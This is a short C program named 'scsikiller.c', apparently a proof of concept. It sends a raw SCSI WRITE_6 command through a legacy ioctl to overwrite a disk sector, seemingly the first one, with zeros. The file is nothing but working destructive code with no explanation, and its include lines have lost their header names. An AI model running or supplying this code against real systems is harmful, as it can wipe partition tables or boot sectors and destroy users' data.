/* scsikiller.c */ #include #include #include struct cdb6hdr{ unsigned int inbufsize; unsigned int outbufsize; unsigned char cdb [6]; } __attribute__ ((packed)); int main (int argv, char **argc) { int fd; unsigned char tBuf[526]; struct cdb6hdr *ioctlhdr; if (argv != 2) exit(-1); fd = open (*(argc+1), O_RDWR ); if (fd < 0) exit (-1); memset(&tBuf, 0, 526); ioctlhdr = (struct cdb6hdr *) &tBuf; ioctlhdr->inbufsize = 512; ioctlhdr->outbufsize = 0; ioctlhdr->cdb[0] = WRITE_6; ioctlhdr->cdb[4] = 1; return ioctl(fd, 1, &tBuf); }